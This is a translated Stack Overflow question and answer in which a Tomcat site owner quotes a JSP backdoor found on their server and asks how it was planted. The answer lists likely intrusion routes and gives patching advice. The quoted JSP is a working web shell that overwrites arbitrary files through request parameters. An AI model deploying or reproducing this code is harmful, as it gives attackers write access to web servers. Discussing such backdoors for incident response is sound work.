java - 为什么服务器上出现上传的未知文件?

标签 java security jsp web

我有一个由 Tomcat 7.0.42 提供服务的 Struts 2 Web 应用程序。我最近发现我还没有上传的文件。这里我举个例子

<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0;String method=request.getParameter("act");
if(method!=null&&method.equals("yoco")){
String url=request.getParameter("url");
String text=request.getParameter("smart");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>0<%
}
}
if(i==0){
%>1<%}
%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url">
<br>
<textarea rows="20" cols="80" name="smart">

这是一个用于在我的服务器上写入文件的小型 JSP。几天前,他们获得了 shell 的访问权限,但由于某种 DDoS 攻击,所有服务器都宕机了。

我真的很想知道他们如何在我的服务器上写入文件。我有一些与用户交互的表单,但所有字段都受正则表达式限制,我使用准备好的语句来访问我的数据库。如果您想“实际”查看问题 (link)

非常感谢任何帮助。谢谢!

最佳答案

很明显,这是一些恶意用户/黑客上传的后门。

为什么该文件最终出现在那里可能有以下几个原因:

  • 黑客可以访问您的 FTP/SSH(尝试更改用户)
  • 如果您有一些“公共(public)上传文件”功能,则可能容易让用户上传他们想要的任何内容。
  • 您的系统中有一些远​​程代码执行。
  • SQL 注入(inject)漏洞,他们能够从您的数据库中检索密码以访问某种管理面板,这些面板赋予他们上传文件的权限,或者根据数据库和数据库用户权限,他们甚至可以使用查询写入文件.

我的建议:

  • 更新您的软件(框架、CMS、网络服务器、操作系统、API 等)。
  • 如果您有专有代码,请对其进行一些听取并寻找漏洞。

祝你好运!

关于java - 为什么服务器上出现上传的未知文件?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/20252529/

相关文章:

spring - DispatcherServlet、Resolver 和 Controller 是如何交互的?

java - 获取JTable 焦点的问题?

Java 二维数组 for 循环

java - 使用网格布局和获取组合框

cocoa-touch - 如何防止 iOS 应用程序中的数据与 iTunes 同步

javascript - JavaScript 可以访问自动填充密码吗?

java - Gwt Maven 多模块。如何配置依赖项以将请求工厂代理放入共享模块中?

docker - 通过docker镜像或通过docker主机连接到SMB共享来访问SMB共享?

javascript - 访问jsp页面javascript中的表达式语言

java - 如何将 Javascript 中的日期与语言环境进行比较